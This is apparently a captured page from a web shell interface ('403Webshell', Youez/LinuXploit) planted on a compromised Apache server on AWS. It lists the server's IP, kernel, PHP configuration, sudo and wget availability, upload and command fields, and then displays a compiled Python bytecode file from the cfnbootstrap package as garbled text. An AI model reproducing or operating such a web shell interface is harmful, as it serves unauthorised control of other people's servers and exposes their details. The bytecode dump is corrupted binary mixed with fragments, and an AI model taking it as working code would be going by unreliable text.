403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/cfnbootstrap/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/cfnbootstrap/__pycache__/endpoint_tool.cpython-39.opt-1.pyc
a

��0i��@spddlmZddlZddlmZdZdZdZdZdZ	d	Z
d
Ze��Z
dd�Zd
d�Zdd�ZGdd�de�ZdS)�)�	documentsN)�urlparsez8https://s3(-fips)?([\.-][a-z0-9-]+)\.amazonaws\.com(.*)$zQhttps://([a-z0-9-\.]+)[\.-]s3(-fips)?([\.-][a-z0-9-]+){0,2}?\.amazonaws\.com(.*)$z*https://sqs\.([\w-]+)\.amazonaws\.com(.*)$z+https://([\w-]+)\.queue.amazonaws\.com(.*)$zs3%s.amazonaws.com%szsqs.%s.amazonaws.com%sz%s.queue.amazonaws.com%scCsdd�td|dD�S)z5Returns unique service endpoints for special regions.cSsg|]}t�|��qS�)�Endpoint�	from_data)�.0�err�>/usr/lib/python3.9/site-packages/cfnbootstrap/endpoint_tool.py�
<listcomp>#�z-get_endpoints_for_service.<locals>.<listcomp>ZServicesZ	Endpoints)�_endpoint_data)�servicerrr	�get_endpoints_for_service srcCst||�duS�N)�get_endpoint_for_url)r
�unparsed_urlrrr	�is_service_url&srcCs�t|�D]}|�|�r|Sq|dkr�t�t|�}|rVt�t|�d�|�d�du�St�t	|�}|r�t�t|�d�|�d�du�SnL|dkr�t�t
|�}|r�t�t|�d��St�t|�}|r�t�t
|�d��SdS)NZAmazonS3���Z	AmazonSQS)r�matches_url�re�match�S3_WITH_BUCKET_PATTERNr�from_region�	S3_FORMAT�group�
S3_PATTERN�SQS_PATTERN�
SQS_FORMAT�SQS_LEGACY_PATTERN�SQS_LEGACY_FORMAT)r
rZendpoint�mrrr	r*s$

 rc@sDeZdZdZedd��Zeddd��Zddd	�Zd
d�Zdd
�Z	dS)rz,
    Represents an AWS service endpoint
    cCs,d}d|vrt|d�}||d|d|�S)NFZDefaultZRegionZHostname)�bool)�clsZ
endpoint_data�
is_defaultrrr	rGszEndpoint.from_dataTcCsT|dd�dvrd|}|r |nd|}|�d�r6dnd}||dd�|||f�S)Nr)�.�-r&z-fipsZcnz.cn�)�
startswith)r$Zendpoint_format�regionZis_regular_processingZs3_subdomainZendpoint_tldrrr	rNs
zEndpoint.from_regionFcCs6|durtd��|dur td��||_||_||_dS)Nzregion is requiredzhostname is required)�
ValueErrorr*�hostnamer%)�selfr*r,r%rrr	�__init__VszEndpoint.__init__cCst|�j���|j�Sr)r�netloc�lower�endswithr,)r-rrrr	r`s��zEndpoint.matches_urlcCs.t|�j��}|�|j�sdS|�|j�dS)Nr)rr/r0r1r,�
rpartition)r-rr/rrr	�get_subdomain_prefixgszEndpoint.get_subdomain_prefixN)T)F)
�__name__�
__module__�__qualname__�__doc__�classmethodrrr.rr3rrrr	rBs


r)Zcfnbootstrap.resourcesrr�urllib.parserrrrr rrr!Zget_endpoint_datarrrr�objectrrrrr	�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit